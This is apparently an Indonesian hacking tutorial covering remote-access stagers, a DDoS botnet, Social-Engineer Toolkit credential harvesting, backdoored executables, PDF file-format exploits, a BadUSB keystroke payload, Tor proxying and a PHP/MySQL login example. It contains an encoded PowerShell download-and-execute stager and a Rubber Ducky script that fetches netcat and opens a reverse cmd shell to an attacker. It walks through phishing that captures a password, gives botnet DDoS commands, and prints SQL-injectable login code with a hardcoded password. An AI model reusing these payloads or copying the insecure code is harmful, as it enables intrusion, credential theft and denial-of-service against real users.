dAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgA
dAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADMAMwA6ADcAMgA1ADgALwBwAC4AcABzADEA
JwApAA==
Main Menu >
```

stager lalu pilih r lalu dapat generate

```
Command Prompt
Microsoft Windows [Version 10.0.10240]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\windows10>powershell -w hidden -noni -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABp
UAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAyADMAMwA6ADcAMgA1
gALwBwAC4AcABzADEAJwApAA==
```

Hasil generate paste ke cmd windows 10 lalu enter

```
[*] Connection from 192.168.1.159:49435
Main Menu > clients
```

Hasilnya muncul seperti di atas

```
 _       ___       ____              __              __
| |     / (_)___   / __ \____ ___   __/ /___  ____ _____/ /____
| | /| / / / __ \ / /_/ / __ `/ / / / / __ \/ __ `/ __  / ___/
| |/ |/ / / / / / / ____/ /_/ / /_/ / / /_/ / /_/ / /_/ (__  )
|__/|__/_/_/ /_/_/    \__,_/\__, /_/\____/\__,_/\__,_/____/
                             /____/NCCGroup - CharlieDean
=================================Client Menu=================================
        back: Main Menu
        r: Refresh
        1: 192.168.1.159:49435 [User:DESKTOP-CD3JGJF, Admin:False]
=============================================================================
Client Menu > 2
[*] Wrong Selection
Client Menu > 1
Commands
-----------------------------------------------
back - Background Shell
exit - Close Connection
-----------------------------------------------
PS >pwd

Path
----
C:\Users\windows10



PS >
```

Untuk akses komputer Windows 10 seperti di atas

Bab 28

BotNet

Sebuah botnet adalah sekumpulan program yang saling terhubung melalui Internet yang berkomunikasi dengan program-program sejenis untuk melakukan tugas tertentu. Botnet bisa dipakai untuk menjaga keamanan kanal IRC, mengirimkan surel spam, atau berpartisipasi dalam serangan DDos. Kata botnet berasal dari dua kata, robot dan network.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Botnet

Sumber gambar : https://id.wikipedia.org/wiki/Berkas:Botnet.svg

Di sini yang akan dibahas adalah X-code BOT Net, untuk download source code bot nya klik http://xcode.or.id/xcode-botnet.zip. Untuk mengedit dan melakukan compile source code BOT ini maka diperlukan program Visual Basic. Berikut option yang perlu diubah :

Jika sudah melakukan perubahan pada source code maka klik file lalu pilih Make menjadi file exe.

Misal menjadi program10.exe

Hasilnya seperti di bawah ini, jika program ini dieksekusi oleh komputer dengan OS Windows yang terkoneksi dengan internet maka otomatis BOT Net langsung aktif.

Di bawah ini hasil saat ada komputer yang menjalankan file botnet, botnet langsung dibuat dan online di IRC Server yang telah diset.

BOT Net ini mempunya fungsi untuk join ke channel lain juga part juga.

Jika ingin keluar channel cukup ketik !part #testing jika ingin keluar dari channel #testing.

Xcode bot ini lebih dirancang untuk DDoS, untuk mengetahui status DDoS, maka ketik !ddos.status, maka hasilnya akan muncul di bawah ini.

Untuk DDoS ketik !ddos.start (site) (port), jika ingin stop maka ketik !ddos.stop

Bab 29

The Social-Engineering Toolkit

The Social-Engineer Toolkit (SET) is specifically designed to perform advanced attacks against the human element. SET was designed to be released with the http://www.social-engineer.org launch and has quickly became a standard tool in a penetration testers arsenal. SET was written by David Kennedy (ReL1K) and with a lot of help from the community it has incorporated attacks never before seen in an exploitation toolset. The attacks built into the toolkit are designed to be targeted and focused attacks against a person or organization used during a penetration test.

Sumber : social-engineer.org - http://www.social-engineer.org/framework/se-tools/computer-based/social-engineer-toolkit-set/

29.1 The Social-Engineering Toolkit - site cloner

Pilih 1, Social- Engineering Attacks

```
 The Social-Engineer Toolkit is a product of Trust

          Visit: https://www.trustedsec.com

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2
```

Pilih 2, Website Attack Vectors

```
Applications  Places                                   Thu Apr 11, 2:52 PM
                              Terminal
File  Edit  View  Search  Terminal  Help

 The Multi-Attack method will add a combination of attacks through the web at
menu. For example you can utilize the Java Applet, Metasploit Browser,
Credential Harvester/Tabnabbing, and the Man Left in the Middle attack
all at once to see which is successful.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Man Left in the Middle Attack Method
   6) Web Jacking Attack Method
   7) Multi-Attack Web Method
   8) Create or import a CodeSigning Certificate

  99) Return to Main Menu

set:webattack>4

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
```

Pilih 4, Tabnabbing Attack Method

```
The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that yo
should only have an index.html when using the import website
functionality.

   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>2
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
er/Tabnabbing:192.168.1.102
[-] SET supports both HTTP and HTTPS
```

Pilih 2, Site Cloner

```
Terminal
File  Edit  View  Search  Terminal  Help
192.168.1.192 - - [11/Apr/2013 14:49:52] "GET / HTTP/1.1" 200 -
192.168.1.192 - - [11/Apr/2013 14:49:52] "GET /source.js HTTP/1.1" 200 -
192.168.1.192 - - [11/Apr/2013 14:49:52] "GET /favicon.ico HTTP/1.1" 200 -
192.168.1.192 - - [11/Apr/2013 14:49:52] "GET /favicon.ico HTTP/1.1" 200 -
192.168.1.192 - - [11/Apr/2013 14:50:11] "GET /index2.html HTTP/1.1" 200 -
[*] WE GOT A HIT! Printing the output:
PARAM: lsd=AVrdofqh
PARAM: display=
PARAM: enable_profile_selector=
PARAM: legacy_return=1
PARAM: next=
PARAM: profile_selector_ids=
PARAM: trynum=1
PARAM: timezone=0
PARAM: lgnrnd=004751_0baS
PARAM: lgnjs=1365691813
POSSIBLE USERNAME FIELD FOUND: email=ruangfokusmedia@yahoo.com
POSSIBLE PASSWORD FIELD FOUND: pass=cobacoba
PARAM: default_persistent=0
[*] WHEN YOU'RE FINISHED, HIT CONTROL-C TO GENERATE A REPORT.


192.168.1.192 - - [11/Apr/2013 14:50:27] "GET /favicon.ico HTTP/1.1" 200 -
```

Tunggu

Hasil dari site cloner

29.2 The Social-Engineering Toolkit - Backdooreed Executable

Pilih 1, Social-engineering Attacks

```
Select from the menu:

  1) Spear-Phishing Attack Vectors
  2) Website Attack Vectors
  3) Infectious Media Generator
  4) Create a Payload and Listener
  5) Mass Mailer Attack
  6) Arduino-Based Attack Vector
  7) SMS Spoofing Attack Vector
  8) Wireless Access Point Attack Vector
  9) QRCode Generator Attack Vector
 10) Powershell Attack Vectors
 11) Third Party Modules

 99) Return back to the main menu.

set> 4
[!] Error:PEFile not detected. You must download it from http:
/pefile/
[!] Turning the digital signature stealing flag off... A/V Det
```

Pilih 4, Create a Payload and Listener

```
Terminal
File  Edit  View  Search  Terminal  Help

Select one of the below, 'backdoored executable' is typically the best.

   1) avoid_utf8_tolower (Normal)
   2) shikata_ga_nai (Very Good)
   3) alpha_mixed (Normal)
   4) alpha_upper (Normal)
   5) call4_dword_xor (Normal)
   6) countdown (Normal)
   7) fnstenv_mov (Normal)
   8) jmp_call_additive (Normal)
   9) nonalpha (Normal)
  10) nonupper (Normal)
  11) unicode_mixed (Normal)
  12) unicode_upper (Normal)
  13) alpha2 (Normal)
  14) No Encoding (None)
  15) Multi-Encoder (Excellent)
  16) Backdoored Executable (BEST)

set:encoding>16
set:payloads> PORT of the listener [443]:443
[-] Backdooring a legit executable to bypass Anti-Virus. Wait a few seconds..
[*] Backdoor completed successfully. Payload is now hidden within a legit exe
```

Pilih 16, Backdoored Executable

```
root@kali: /etc/samba
File  Edit  View  Search  Terminal  Help
  GNU nano 2.2.6                File: smb.conf

[profiles]
   comment = Users profiles
   path = /home
   guest ok = yes
   browseable = yes
   share modes  = yes
   writeable = yes
   create mask = 0777

[printers]
   comment = All Printers
   browseable = no
   path = /var/spool/samba
   printable = yes
   guest ok = no
   read only = yes
   create mask = 0700

# Windows clients look for this share name as a source of downloadable

^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
```

Lakukan sharing folder untuk mengambil file backdoor

cd /etc/init.d

./samba restart

```
drwxr-xr-x   2 root root 2664 Mar 11 20:24 sbin
drwxr-xr-x   2 root root    3 Jun 10  2012 selinux
drwxr-xr-x   3 root root   27 Mar 11 20:20 srv
dr-xr-xr-x  13 root root    0 Apr 11 15:37 sys
drwxrwxrwt   7 root root  160 Apr 11 16:17 tmp
drwxr-xr-x  14 root root   80 Mar 11 20:12 usr
drwxr-xr-x  17 root root  120 Mar 11 20:22 var
lrwxrwxrwx   1 root root   30 Mar 11 20:16 vmlinuz -> boot/vmlinuz-3.7-trunk-
-pae
root@kali:/# cd /usr/share/set
root@kali:/usr/share/set# ls -l
total 240
drwxr-xr-x  2 root root    120 Apr 11 15:40 config
drwxr-xr-x  2 root root    137 Mar 11 20:12 modules
-rwxrwxrwx  1 root root 216064 Apr 11 15:42 msf.exe
drwxr-xr-x  2 root root    107 Mar 11 20:12 readme
-rwxr-xr-x  1 root root   6972 Jan 14 13:21 set
-rwxr-xr-x  1 root root   4820 Jan 14 13:21 set-automate
-rwxr-xr-x  1 root root   2255 Jan 14 13:21 set-proxy
-rwxr-xr-x  1 root root    419 Jan 14 13:21 set-update
-rwxr-xr-x  1 root root   1937 Jan 14 13:21 setup.py
-rwxr-xr-x  1 root root    524 Jan 14 13:21 set-web
drwxr-xr-x 23 root root    160 Apr 11 15:40 src
root@kali:/usr/share/set#
```

msf.exe adalah backdoornya

Saat msf.exe dijalankan oleh target maka hasilnya seperti di bawah ini.

```
Terminal
File  Edit  View  Search  Terminal  Help
[*] Processing src/program_junk/meta_config for ERB directives.
resource (src/program_junk/meta_config)> use exploit/multi/handler
resource (src/program_junk/meta_config)> set PAYLOAD windows/shell_reverse_tcp
PAYLOAD => windows/shell_reverse_tcp
resource (src/program_junk/meta_config)> set LHOST 0.0.0.0
LHOST => 0.0.0.0
resource (src/program_junk/meta_config)> set LPORT 443
LPORT => 443
resource (src/program_junk/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (src/program_junk/meta_config)> exploit -j
[*] Exploit running as background job.
msf  exploit(handler) >
[*] Started reverse handler on 0.0.0.0:443
[*] Starting the payload handler...
[*] Command shell session 1 opened (192.168.1.102:443 -> 192.168.1.127:1090) at
2013-04-11 16:22:06 +0000
sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

D:\>
```

29.3 The Social-Engineering Toolkit dengan File-format Exploits

```
Terminal
File  Edit  View  Search  Terminal  Help

 The Social-Engineer Toolkit is a product of TrustedSec.

          Visit: https://www.trustedsec.com

Select from the menu:

  1) Social-Engineering Attacks
  2) Fast-Track Penetration Testing
  3) Third Party Modules
  4) Update the Metasploit Framework
  5) Update the Social-Engineer Toolkit
  6) Update SET configuration
  7) Help, Credits, and About

 99) Exit the Social-Engineer Toolkit

set> 1
```

Pilih 1, Social- Engineering Attacks

```
          Visit: https://www.trustedsec.com

Select from the menu:

  1) Spear-Phishing Attack Vectors
  2) Website Attack Vectors
  3) Infectious Media Generator
  4) Create a Payload and Listener
  5) Mass Mailer Attack
  6) Arduino-Based Attack Vector
  7) SMS Spoofing Attack Vector
  8) Wireless Access Point Attack Vector
  9) QRCode Generator Attack Vector
 10) Powershell Attack Vectors
 11) Third Party Modules

 99) Return back to the main menu.

set> 3

The Infectious USB/CD/DVD module will create an autorun.inf file and a
Metasploit payload. When the DVD/USB/CD is inserted, it will automatically
run if autorun is enabled.
```

Pilih 3. Spear-Phising Attack Vectors

```
Metasploit payload. When the DVD/USB/CD is inserted, it will autom
run if autorun is enabled.

Pick the attack vector you wish to use: fileformat bugs or a strai
e.

   1) File-Format Exploits
   2) Standard Metasploit Executable

  99) Return to Main Menu

set:infectious>1
(payload):1ous> IP address for the reverse connection (

Select the file format exploit you want.
The default is the PDF embedded EXE.

           *********** PAYLOADS ***********

   1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
   2) SET Custom Written Document UNC LM SMB Capture Attack
   3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
   4) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087
```

Pilih 1, File-Format Exploits

```
Terminal
File  Edit  View  Search  Terminal  Help

  1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
  2) SET Custom Written Document UNC LM SMB Capture Attack
  3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow
  4) Microsoft Word RTF pFragments Stack Buffer Overflow (MS10-087)
  5) Adobe Flash Player "Button" Remote Code Execution
  6) Adobe CoolType SING Table "uniqueName" Overflow
  7) Adobe Flash Player "newfunction" Invalid Pointer Use
  8) Adobe Collab.collectEmailInfo Buffer Overflow
  9) Adobe Collab.getIcon Buffer Overflow
 10) Adobe JBIG2Decode Memory Corruption Exploit
 11) Adobe PDF Embedded EXE Social Engineering
 12) Adobe util.printf() Buffer Overflow
 13) Custom EXE to VBA (sent via RAR) (RAR required)
 14) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
 15) Adobe PDF Embedded EXE Social Engineering (NOJS)
 16) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
 17) Apple QuickTime PICT PnSize Buffer Overflow
 18) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
 19) Adobe Reader u3D Memory Corruption Vulnerability
 20) MSCOMCTL ActiveX Buffer Overflow (ms12-027)

set:payloads>10
```

Pilih 10, Adobe JBIGDecode Memory Corruption Exploit

```
Terminal
File  Edit  View  Search  Terminal  Help

   1) Windows Reverse TCP Shell                Spawn a command shell on victim and
 send back to attacker
   2) Windows Meterpreter Reverse_TCP          Spawn a meterpreter shell on victim
 and send back to attacker
   3) Windows Reverse VNC DLL                  Spawn a VNC server on victim and se
nd back to attacker
   4) Windows Reverse TCP Shell (x64)          Windows X64 Command Shell, Reverse
TCP Inline
   5) Windows Meterpreter Reverse_TCP (X64)    Connect back to the attacker (Windo
ws x64), Meterpreter
   6) Windows Shell Bind_TCP (X64)             Execute payload and create an accep
ting port on remote system
   7) Windows Meterpreter Reverse HTTPS        Tunnel communication over HTTP usin
g SSL and use Meterpreter

set:payloads>1
set> IP address for the payload listener: 192.168.1.102
set:payloads> Port to connect back on [443]:443
[-] Generating fileformat exploit...
[*] Payload creation complete.
[*] All payloads get sent to the /usr/share/set/src/program_junk/template.pdf di
```

Pilih 1, Windows Reverse TCP Shell

```
Terminal
File  Edit  View  Search  Terminal  Help
[*] Your attack has been created in the SET home directory folder 'autorun'
[-] Copy the contents of the folder to a CD/DVD/USB to autorun
set> Create a listener right now [yes|no]: yes
[-] ***
[-] * WARNING: Database support has been disabled
[-] ***

    ,           ,
   /             \
  ((__---,,,---__))
     (_) O O (_)_________
        \ _ /            |\
         o_o \   M S F   | \
              \   _____  |  *
               ||| WW|||
               |||     |||


Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro
-- type 'go_pro' to launch it now.

       =[ metasploit v4.6.0-dev [core:4.6 api:1.0]
+ -- --=[ 1053 exploits - 590 auxiliary - 174 post
+ -- --=[ 275 payloads - 28 encoders - 8 nops
```

```
root@kali:/var# cd /usr/share/set
root@kali:/usr/share/set# ls
autorun  modules  set           set-proxy   setup.py  src
config   readme   set-automate  set-update  set-web
root@kali:/usr/share/set# cd src
root@kali:/usr/share/set/src# ls
agreement4     dev-notes     __init__.pyc  powershell    teensy
autorun        fasttrack     logs          program_junk  templates
commandcenter  html          payloads      qrcode        webattack
core           __init__.py   phishing      sms           wireless
root@kali:/usr/share/set/src# cd program_junk
root@kali:/usr/share/set/src/program_junk# ls
fileformat.file  meta_config  payload.options  template.pdf
ipaddr.file      payloadgen   set.options
root@kali:/usr/share/set/src/program_junk#
```

Exploit ada di template.pdf

Materi sisipan

BadUSB

BadUSB

A device can emulate a keyboard and issue commands on behalf of the logged-in user, for example to exfiltrate files or install malware. Such malware, in turn, can infect the controller chips of other USB devices connected to the computer. The device can also spoof a network card and change the computer's DNS setting to redirect traffic.

Sumber : https://srlabs.de/bites/usb-peripherals-turn

Contoh berbagai macam payload : https://github.com/hak5darren/USB-RubberDucky/wiki/Payloads

Netcat for Windows : https://eternallybored.org/misc/netcat/

Compile : https://nurrl.github.io/Duckuino/

Arduino : https://www.filehorse.com/download-arduino/28819/

Gunakan Arduino 1.8.0, jangan yang 1.8.5 (terbaru saat tutorial ini dibuat), karena nanti tidak bisa untuk Windows 7. Jika Arduino 1.8.0, bisa untuk windows 7, 8.1 dan 10.

Payload untuk remote Windows 7 / 8.1 / 10

By Kurniawan

Uji coba untuk Windows 10 di Mini PC Intel Atom Z8500, RAM 2 Gb

Uji coba untuk Windows 8.1 di PC Intel Pentium G3260, RAM 4 Gb

Uji coba untuk Windows 7 di PC Intel Celeron G1620, RAM 4 Gb

Informasi tentang konfigurasi komputer penyerang

Konfigurasi yang perlu diketahui adalah share kan salah satu folder windows anda. Tujuannya agar target bisa mengakses share folder tersebut dengan menggunakan net use.

net use z: \\(ip public / domain / sub domain)\(nama folder yang dishare) /u:(username) (password)

Jika tidak memiliki ip publik maka bisa mengujinya dengan ip lokal, yang tentu saja target harus berada dalam satu jaringan lokal.

Password di atas adalah password share folder jika ada.

Hal lain yang perlu diperhatikan adalah pastikan file nc.exe ada di share folder tersebut.

Netcat bisa didownload di https://eternallybored.org/misc/netcat/

Payload :

```
DELAY 1000
CONTROL ESCAPE
DELAY 1000
STRING RUN
DELAY 1000
ENTER
DELAY 1000
STRING cmd
DELAY 1000
ENTER
DELAY 500
STRING taskkill /f /pid nc.exe
DELAY 200
ENTER
DELAY 200
```

```
STRING del c:\Users\Public\Downloads\nc.exe
DELAY 200
ENTER
DELAY 3000
STRING net use z: /delete
DELAY 200
ENTER
DELAY 200
STRING net use z: \\(ip public / domain / sub domain)\(nama folder yang dishare) /u:(username) (password)
DELAY 200
ENTER
DELAY 200
STRING copy z:\nc.exe c:\Users\Public\Downloads
DELAY 200
ENTER
DELAY 3000
STRING y
DELAY 200
ENTER
DELAY 200
STRING net use z: /delete
DELAY 200
ENTER
DELAY 1000
STRING c:\Users\Public\Downloads\nc.exe (ip publik / domain / subdomain)  4444 -e cmd.exe -d
DELAY 200
ENTER
DELAY 3000
ALT SPACE
STRING C
DELAY 200
```

Keterangan :

Kurung buka dan kurung tutup dihapus jika diset.

Langkah-langkah untuk memasukkan payload ke badusb stick :

Buka situs : https://nurrl.github.io/Duckuino/

https://nurrl.github.io/Duckuino/

Klik Copy

Pilih seperti di atas

Pilih seperti di atas

Klik centang

Klik forward

Saat muncul Done uploading maka badusb Stick Super X-code 2.0 sudah bisa dipakai

Bab 30

TOR

The Onion Router atau Tor adalah server yang membuat pengguna menjadi anonim dalam internet.

Tor bekerja dengan cara mengarahkan lalu-lintas internet melalui jaringan sukarelawan yang disediakan dengan gratis dan di seluruh dunia, dengan lebih dari 4.000 relay. Tor berfungsi menyembunyikan pengguna internet. Orang yang menggunakan jaringan tor menggunakan jaringan onion routers. Hal ini membuat lokasi pengguna tetap rahasia.

Sumber : id.wikipedia.org - https://id.wikipedia.org/wiki/Tor_%28jaringan_anonim%29

Kali-linux

Di kali-linux : Apt-get update

```
root@kalilinuxdata:/home# apt-get install tor
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following extra packages will be installed:
  tor-geoipdb
Suggested packages:
  mixmaster xul-ext-torbutton tor-arm polipo privoxy a
Recommended packages:
  torsocks
The following NEW packages will be installed:
  tor tor-geoipdb
0 upgraded, 2 newly installed, 0 to remove and 128 not
Need to get 2,372 kB of archives.
After this operation, 6,315 kB of additional disk spac
Do you want to continue [Y/n]?
```

Install tor, apt-get install tor

```
After this operation, 6,315 kB of additional disk space will
Do you want to continue [Y/n]? y
Get:1 http://security.kali.org/kali-security/ kali/updates/m
3-1~deb7u1 [1,307 kB]
Get:2 http://security.kali.org/kali-security/ kali/updates/m
0.2.4.23-1~deb7u1 [1,065 kB]
69% [2 tor-geoipdb 324 kB/1,065 kB 30%]
```

```
root@dhcppc4:~# tor
Aug 20 19:12:35.202 [notice] Tor v0.2.4.23 (git-417f0cacd726e5
ux with Libevent 2.0.19-stable and OpenSSL 1.0.1e.
Aug 20 19:12:35.202 [notice] Tor can't help you if you use it
o be safe at https://www.torproject.org/download/download#warn
Aug 20 19:12:35.236 [notice] Read configuration file "/etc/tor
Aug 20 19:12:35.241 [notice] Opening Socks listener on 127.0.0
Aug 20 19:12:35.000 [notice] Parsing GEOIP IPv4 file /usr/shar
Aug 20 19:12:35.000 [notice] Parsing GEOIP IPv6 file /usr/shar
Aug 20 19:12:35.000 [warn] You are running Tor as root. You do
ou probably shouldn't.
Aug 20 19:12:36.000 [notice] Bootstrapped 5%: Connecting to di
Aug 20 19:12:36.000 [notice] Bootstrapped 10%: Finishing hands
y server.
Aug 20 19:12:38.000 [notice] Bootstrapped 15%: Establishing an
ry connection.
Aug 20 19:12:38.000 [notice] Bootstrapped 20%: Asking for netw
s.
Aug 20 19:12:39.000 [notice] Bootstrapped 25%: Loading network
Aug 20 19:12:48.000 [warn] Received directory with skewed time
245.170:443'): It seems that our clock is ahead by 23 hours, 9
theirs is behind. Tor requires an accurate clock to work: plea
, timezone, and date settings.
Aug 20 19:12:49.000 [notice] I learned some more directory inf
```

Cara menjalankan TOR, ketik tor lalu enter

```
root@dhcppc4:/etc# nmap 127.0.0.1

Starting Nmap 6.25 ( http://nmap.org ) at 2014-
Nmap scan report for localhost (127.0.0.1)
Host is up (0.0000060s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
9050/tcp open  tor-socks

Nmap done: 1 IP address (1 host up) scanned in
root@dhcppc4:/etc#
```

Nmap 127.0.0.1 untuk mengetahui port dan servicenya aktif

Instalasi Tsocks

```
root@dhcppc4:/home# cd /etc
root@dhcppc4:/etc# cd apt
root@dhcppc4:/etc/apt# nano sources.list
```

cd /etc/apt

nano sources.list

```
  GNU nano 2.2.6              File: sources.list

#

# deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL $

#deb cdrom:[Debian GNU/Linux 7.0 _Kali_ - Official Snapshot i386 LIVE/INSTALL B$

deb http://http.kali.org/kali kali main non-free contrib
deb-src http://http.kali.org/kali kali main non-free contrib

## Security updates
deb http://security.kali.org/kali-security kali/updates main contrib non-free
```

Ganti dengan seperti di atas lalu simpan

```
root@kalilinuxdata:/etc/apt# apt-get update
Hit http://security.kali.org kali/updates Release.gpg
Ign http://kali.org kali Release.gpg
Hit http://security.kali.org kali/updates Release
Hit http://security.kali.org kali/updates/main i386 Packages
Ign http://kali.org kali Release
Hit http://security.kali.org kali/updates/contrib i386 Packages
Hit http://security.kali.org kali/updates/non-free i386 Packages
Err http://kali.org kali/main Sources

Ign http://security.kali.org kali/updates/contrib Translation-en_US
Err http://kali.org kali/non-free Sources

Ign http://security.kali.org kali/updates/contrib Translation-en
Ign http://security.kali.org kali/updates/main Translation-en_US
Err http://kali.org kali/contrib Sources

Ign http://security.kali.org kali/updates/main Translation-en
Ign http://security.kali.org kali/updates/non-free Translation-en_US
Err http://kali.org kali/main i386 Packages
```

Lalu Update, apt-get update

```
host.conf                    perl
hostname                     php5
hosts                        pkcs11
hosts.allow                  pm
root@dhcppc4:/etc# nano tsocks.conf
```

Untuk setting

cd /etc

nano tsocks.conf

```
  GNU nano 2.2.6              File: tsocks.conf

}

# Default server
# For connections that aren't to the local subn
# the server at 192.168.0.1 should be used (aga
# too, see note above)

server = 127.0.0.1
# Server type defaults to 4 so we need to speci
#server_type = 5
# The port defaults to 1080 but I've stated it
server_port = 9050
```

Beri tanda # pada server_type = 5

```
drwxr-xr-x  3 root root     4096 Jul 13  2013 ufw
-rw-r--r--  1 root root      284 Sep 25  2010 updatedb.conf
drwxr-xr-x  2 root root     4096 Jul 13  2013 UPower
-rw-r--r--  1 root root      572 Jan 30
drwxr-xr-x  2 root root     4096 Dec  8
drwxr-xr-x  2 root root     4096 Jul 13
drwxr-xr-x  3 root root     4096 Jul 13
drwxr-xr-x  2 root root     4096 Jul 13
-rw-r--r--  1 root root     4496 Apr  9
drwxr-xr-x  2 root root     4096 Jul 13
drwxr-xr-x  2 root root     4096 Jul 13
drwxr-xr-x  2 root root     4096 Jul 13
drwxr-xr-x  8 root root     4096 Jul 13
drwxr-xr-x  4 root root     4096 Jul 13
drwxr-xr-x  2 root root     4096 Jul 13
drwxr-xr-x  2 root root     4096 Jul 13
drwxr-xr-x  2 root root     4096 Jul 13
root@dhcppc4:/etc# tsocks ftp 180.254.1
Connected to 180.254.101.252.
220-FileZilla Server version 0.9.41 bet
```

FileZilla Server (127.0.0.1)

File Server Edit ?

FileZilla Server version 0.9.41 beta
Copyright 2001-2012 by Tim Kosse (tim.kosse@filezilla-project.org)
Connecting to server...
Connected, waiting for authentication
Logged on
(000001)8/20/2014 16:17:35 PM - (not logged in) (92.51.245.84)> Connected, send
(000001)8/20/2014 16:17:35 PM - (not logged in) (92.51.245.84)> 220-FileZilla Serv
(000001)8/20/2014 16:17:35 PM - (not logged in) (92.51.245.84)> 220-written by Tir
(000001)8/20/2014 16:17:35 PM - (not logged in) (92.51.245.84)> 220 Please visit h

Jika dipasang di browser

Pilih Edit lalu Preferences

Pilih Advanced lalu Network lalu Settings

Isi seperti di atas

Saat dilakukan refresh, ip address telah berubah

Materi sisipan

Pengenalan web dan database (HTML, PHP & MySQL)

Pengenalan web dan database

Hypertext Transfer Protocol (HTTP) adalah sebuah protokol jaringan lapisan aplikasi yang digunakan untuk sistem informasi terdistribusi, kolaboratif, dan menggunakan hipermedia.

Sumber : https://id.wikipedia.org/wiki/Protokol_Transfer_Hiperteks

Hypermedia adalah media yang tidak hanya memuat teks saja, namun juga foto, audio dan video dan grafis komputer yang berhubungan dengan topik tertentu. Istilah Hypermedia merupakan istilah yang diciptakan oleh Ted Nelson.

Sumber : http://www.temukanpengertian.com/2013/06/pengertian-hypermedia.html

Hyper Text Markup Language (HTML) adalah sebuah bahasa markah yang digunakan untuk membuat sebuah halaman web, menampilkan berbagai informasi di dalam sebuah penjelajah web Internet dan pemformatan hiperteks sederhana yang ditulis dalam berkas format ASCII agar dapat menghasilkan tampilan wujud yang terintegerasi

Sumber : https://id.wikipedia.org/wiki/HTML

PHP: Hypertext Preprocessor adalah bahasa skrip yang dapat ditanamkan atau disisipkan ke dalam HTML. PHP banyak dipakai untuk memrogram situs web dinamis.

Sumber : https://id.wikipedia.org/wiki/PHP

MySQL adalah sebuah perangkat lunak sistem manajemen basis data SQL (bahasa Inggris: database management system) atau DBMS yang multithread, multi-user, dengan sekitar 6 juta instalasi di seluruh dunia.

Sumber : https://id.wikipedia.org/wiki/MySQL

Pangkalan data atau basis data (bahasa Inggris: database), atau sering pula dieja basisdata, adalah kumpulan informasi yang disimpan di dalam komputer secara sistematik sehingga dapat diperiksa menggunakan suatu program komputer untuk memperoleh informasi dari basis data tersebut. Perangkat lunak yang digunakan untuk mengelola dan memanggil kueri (query) basis data disebut

sistem manajemen basis data (database management system, DBMS). Sistem basis data dipelajari dalam ilmu informasi.

Sumber : https://id.wikipedia.org/wiki/Basis_data

```
<?php
    if(isset($_POST['login']))
    {
        $username = $_POST['username'];
        $password = $_POST['password'];
        $con = mysqli_connect('localhost','root','baseball','sample');
        $result = mysqli_query($con, "SELECT * FROM `users` WHERE username='$username' AND password='$password'");
        if(mysqli_num_rows($result) == 0)
            echo 'Password salah';
        else
            echo '<h1>Sudah login</h1><p>Selamat datang.</p>';
    }
    else
    {
?>
        <form action="" method="post">
            Username: <input type="text" name="username"/><br />
            Password: <input type="password" name="password"/><br />
            <input type="submit" name="login" value="Login"/>
        </form>
<?php
    }
?>
</body>
</html>
```

```
<?php

    if(isset($_POST['login']))

    {

        $username = $_POST['username'];

        $password = $_POST['password'];

        $con = mysqli_connect('localhost','root','baseball','sample');

        $result = mysqli_query($con, "SELECT * FROM `users` WHERE username='$username' AND
password='$password'");

        if(mysqli_num_rows($result) == 0)

            echo 'Password salah';

        else

            echo '<h1>Sudah login</h1><p>Selamat datang.</p>';

    }

    else

    {

?>

        <form action="" method="post">

            Username: <input type="text" name="username"/><br />

            Password: <input type="password" name="password"/><br />

            <input type="submit" name="login" value="Login"/>

        </form>

<?php
```

```
    }
?>
</body>
</html>
```

isset() untuk menyatakan apakah suatu variabel sudah diset atau tidak. Jika variabel sudah diset maka variabel akan mengembalikan nilai true, tapi jika tidak maka akan bernilai false

$ _POST adalah variabel yang digunakan untuk mengumpulkan nilai dari bentuk dikirim dengan metode = "post"

Mysqli_connect untuk membuat koneksi antara PHP dengan MySQL Server

Mysql_query untuk menjalankan query MySQL

mysqli_num_rows untuk menghitung record hasil query

Untuk membuat database nya

```
root@ubuntufresh:/var/www# mysql -h localhost -u root -p
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 125
